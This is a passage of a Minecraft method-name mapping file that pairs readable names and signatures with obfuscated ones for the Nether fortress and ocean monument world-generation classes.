(Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Straight/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Straight/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Straight/func_175882_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Straight; net/minecraft/world/gen/structure/StructureNetherBridgePieces$Straight/func_175882_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Straight; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor3/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor3/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor3/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor3/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor3/func_175883_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor3; net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor3/func_175883_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor3; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor4/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor4/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor4/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor4/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor4/func_175880_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor4; net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor4/func_175880_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor4; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Entrance/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureNetherBridgePieces$Entrance/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Entrance/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Entrance/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Entrance/func_175881_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Entrance; net/minecraft/world/gen/structure/StructureNetherBridgePieces$Entrance/func_175881_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Entrance; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing2/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing2/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing2/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing2/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing2/func_175878_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing2; net/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing2/func_175878_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing2; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor/func_175879_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor; net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor/func_175879_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor5/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor5/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor5/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor5/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor5/func_175877_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor5; net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor5/func_175877_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor5; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor2/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor2/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor2/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor2/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor2/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor2/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor2/func_175876_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor2; net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor2/func_175876_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor2; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor2/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Corridor2/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$NetherStalkRoom/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureNetherBridgePieces$NetherStalkRoom/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$NetherStalkRoom/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$NetherStalkRoom/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$NetherStalkRoom/func_175875_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$NetherStalkRoom; net/minecraft/world/gen/structure/StructureNetherBridgePieces$NetherStalkRoom/func_175875_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$NetherStalkRoom; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Throne/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureNetherBridgePieces$Throne/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Throne/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Throne/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Throne/func_175874_a (Ljava/util/List;Ljava/util/Random;IIIILnet/minecraft/util/EnumFacing;)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Throne; net/minecraft/world/gen/structure/StructureNetherBridgePieces$Throne/func_175874_a (Ljava/util/List;Ljava/util/Random;IIIILnet/minecraft/util/EnumFacing;)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Throne; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Throne/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Throne/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece/isAboveGround (Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece/func_74964_a (Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece/func_175871_a (Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Start;Ljava/util/List;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece; net/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece/func_175871_a (Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Start;Ljava/util/List;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece/func_175870_a (Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;IZ)Lnet/minecraft/world/gen/structure/StructureComponent; net/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece/func_175870_a (Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Start;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;IZ)Lnet/minecraft/world/gen/structure/StructureComponent; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece/getNextComponentNormal (Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Start;Ljava/util/List;Ljava/util/Random;IIZ)Lnet/minecraft/world/gen/structure/StructureComponent; net/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece/func_74963_a (Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Start;Ljava/util/List;Ljava/util/Random;IIZ)Lnet/minecraft/world/gen/structure/StructureComponent; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece/getTotalWeight (Ljava/util/List;)I net/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece/func_74960_a (Ljava/util/List;)I +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece/getNextComponentX (Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Start;Ljava/util/List;Ljava/util/Random;IIZ)Lnet/minecraft/world/gen/structure/StructureComponent; net/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece/func_74961_b (Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Start;Ljava/util/List;Ljava/util/Random;IIZ)Lnet/minecraft/world/gen/structure/StructureComponent; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece/getNextComponentZ (Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Start;Ljava/util/List;Ljava/util/Random;IIZ)Lnet/minecraft/world/gen/structure/StructureComponent; net/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece/func_74965_c (Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Start;Ljava/util/List;Ljava/util/Random;IIZ)Lnet/minecraft/world/gen/structure/StructureComponent; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight/func_78823_a ()Z net/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight/func_78823_a ()Z +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight/func_78822_a (I)Z net/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight/func_78822_a (I)Z +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing/func_175873_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing; net/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing/func_175873_a (Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Crossing; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Stairs/addComponentParts (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z net/minecraft/world/gen/structure/StructureNetherBridgePieces$Stairs/func_74875_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)Z +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Stairs/buildComponent (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Stairs/func_74861_a (Lnet/minecraft/world/gen/structure/StructureComponent;Ljava/util/List;Ljava/util/Random;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Stairs/func_175872_a (Ljava/util/List;Ljava/util/Random;IIIILnet/minecraft/util/EnumFacing;)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Stairs; net/minecraft/world/gen/structure/StructureNetherBridgePieces$Stairs/func_175872_a (Ljava/util/List;Ljava/util/Random;IIIILnet/minecraft/util/EnumFacing;)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Stairs; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Start/writeStructureToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Start/func_143012_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces$Start/readStructureFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureNetherBridgePieces$Start/func_143011_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces/registerNetherFortressPieces ()V net/minecraft/world/gen/structure/StructureNetherBridgePieces/func_143049_a ()V +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces/access$000 (Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece; net/minecraft/world/gen/structure/StructureNetherBridgePieces/access$000 (Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces/access$100 ()[Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight; net/minecraft/world/gen/structure/StructureNetherBridgePieces/access$100 ()[Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces/func_175887_b (Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece; net/minecraft/world/gen/structure/StructureNetherBridgePieces/func_175887_b (Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight;Ljava/util/List;Ljava/util/Random;IIILnet/minecraft/util/EnumFacing;I)Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$Piece; +MD: net/minecraft/world/gen/structure/StructureNetherBridgePieces/access$200 ()[Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight; net/minecraft/world/gen/structure/StructureNetherBridgePieces/access$200 ()[Lnet/minecraft/world/gen/structure/StructureNetherBridgePieces$PieceWeight; +MD: net/minecraft/world/gen/structure/StructureOceanMonument$StartMonument/func_175788_a (Lnet/minecraft/world/ChunkCoordIntPair;)Z net/minecraft/world/gen/structure/StructureOceanMonument$StartMonument/func_175788_a (Lnet/minecraft/world/ChunkCoordIntPair;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonument$StartMonument/generateStructure (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)V net/minecraft/world/gen/structure/StructureOceanMonument$StartMonument/func_75068_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/world/gen/structure/StructureBoundingBox;)V +MD: net/minecraft/world/gen/structure/StructureOceanMonument$StartMonument/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureOceanMonument$StartMonument/func_143022_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureOceanMonument$StartMonument/func_175787_b (Lnet/minecraft/world/ChunkCoordIntPair;)V net/minecraft/world/gen/structure/StructureOceanMonument$StartMonument/func_175787_b (Lnet/minecraft/world/ChunkCoordIntPair;)V +MD: net/minecraft/world/gen/structure/StructureOceanMonument$StartMonument/func_175789_b (Lnet/minecraft/world/World;Ljava/util/Random;II)V net/minecraft/world/gen/structure/StructureOceanMonument$StartMonument/func_175789_b (Lnet/minecraft/world/World;Ljava/util/Random;II)V +MD: net/minecraft/world/gen/structure/StructureOceanMonument$StartMonument/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/gen/structure/StructureOceanMonument$StartMonument/func_143017_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/gen/structure/StructureOceanMonument/getStructureName ()Ljava/lang/String; net/minecraft/world/gen/structure/StructureOceanMonument/func_143025_a ()Ljava/lang/String; +MD: net/minecraft/world/gen/structure/StructureOceanMonument/canSpawnStructureAtCoords (II)Z net/minecraft/world/gen/structure/StructureOceanMonument/func_75047_a (II)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonument/getScatteredFeatureSpawnList ()Ljava/util/List; net/minecraft/world/gen/structure/StructureOceanMonument/func_175799_b ()Ljava/util/List; +MD: net/minecraft/world/gen/structure/StructureOceanMonument/getStructureStart (II)Lnet/minecraft/world/gen/structure/StructureStart; net/minecraft/world/gen/structure/StructureOceanMonument/func_75049_b (II)Lnet/minecraft/world/gen/structure/StructureStart; +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$XDoubleRoomFitHelper/func_175969_a (Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$XDoubleRoomFitHelper/func_175969_a (Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$XDoubleRoomFitHelper/func_175968_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;Ljava/util/Random;)Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece; net/minecraft/world/gen/structure/StructureOceanMonumentPieces$XDoubleRoomFitHelper/func_175968_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;Ljava/util/Random;)Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece; +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$XYDoubleRoomFitHelper/func_175969_a (Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$XYDoubleRoomFitHelper/func_175969_a (Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$XYDoubleRoomFitHelper/func_175968_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;Ljava/util/Random;)Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece; net/minecraft/world/gen/structure/StructureOceanMonumentPieces$XYDoubleRoomFitHelper/func_175968_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;Ljava/util/Random;)Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece; +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$YDoubleRoomFitHelper/func_175969_a (Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$YDoubleRoomFitHelper/func_175969_a (Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$YDoubleRoomFitHelper/func_175968_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;Ljava/util/Random;)Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece; net/minecraft/world/gen/structure/StructureOceanMonumentPieces$YDoubleRoomFitHelper/func_175968_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;Ljava/util/Random;)Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece; +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$YZDoubleRoomFitHelper/func_175969_a (Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$YZDoubleRoomFitHelper/func_175969_a (Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$YZDoubleRoomFitHelper/func_175968_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;Ljava/util/Random;)Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece; net/minecraft/world/gen/structure/StructureOceanMonumentPieces$YZDoubleRoomFitHelper/func_175968_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;Ljava/util/Random;)Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece; +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$ZDoubleRoomFitHelper/func_175969_a (Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;)Z net/minecraft/world/gen/structure/StructureOceanMonumentPieces$ZDoubleRoomFitHelper/func_175969_a (Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;)Z +MD: net/minecraft/world/gen/structure/StructureOceanMonumentPieces$ZDoubleRoomFitHelper/func_175968_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;Ljava/util/Random;)Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece; net/minecraft/world/gen/structure/StructureOceanMonumentPieces$ZDoubleRoomFitHelper/func_175968_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$RoomDefinition;Ljava/util/Random;)Lnet/minecraft/world/gen/structure/StructureOceanMonumentPieces$Piece; +MD: 